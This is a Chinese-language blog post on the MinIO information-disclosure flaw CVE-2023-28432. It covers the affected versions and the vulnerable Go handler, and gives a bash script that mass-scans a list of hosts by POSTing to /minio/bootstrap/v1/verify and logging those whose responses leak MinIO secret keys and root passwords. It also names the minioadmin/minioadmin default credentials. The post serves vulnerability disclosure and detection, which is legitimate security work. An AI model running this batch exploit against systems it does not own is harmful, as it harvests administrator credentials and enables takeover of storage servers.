MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC
吸取上次复现漏洞的教训……
概述
MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。 在集群部署的Minio中,未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录Minio。
影响范围
漏洞利用的前提是使用分布式部署 RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
相关漏洞代码
// minio/cmd/bootstrap-peer-server.go func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) { ctx := newContext(r, w, "VerifyHandler") cfg := getServerSystemCfg() logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg)) } // minio/cmd/bootstrap-peer-server.go func getServerSystemCfg() ServerSystemConfig { envs := env.List("MINIO_") envValues := make(map[string]string, len(envs)) for _, envK := range envs { // skip certain environment variables as part // of the whitelist and could be configured // differently on each nodes, update skipEnvs() // map if there are such environment values if _, ok := skipEnvs[envK]; ok { continue } envValues[envK] = env.Get(envK, "") } return ServerSystemConfig{ MinioEndpoints: globalEndpoints, MinioEnv: envValues, } }
VerifyHandler 函数中调用了 getServerSystemCfg() 函数,该函数返回了 ServerSystemConfig 结构体,其中包含了环境变量 MINIO_ 的键值对。由于环境变量是全局可见的,因此会将账号打印出来 。为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。
POC
批量检测POC,bash脚本,注意赋权
#!/bin/bash # Author : whgojp # Enable colors GREEN= 33[0;32m NC= 33[0m count=0 while read -r line; do ((count++)) response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3) #修改一下 这里加了-k 忽略对 SSL 证书验证 if echo "$response" | grep -q "MinioEnv"; then #匹配关键词 printf "${GREEN}[!] ${line}${NC}:is Vulnerable!!! " echo "$line" >> result.txt else printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line} " fi done < MinIO.txt
当然还有其他版本批量检测POC
检测效果; 手动检测: Burp手动测试的时候记得改POST发包
使用Goby红队版可以直接检测该漏洞
参考
上一篇:
Java架构师技术进阶路线图
下一篇:
ARP攻击和欺骗原理讲解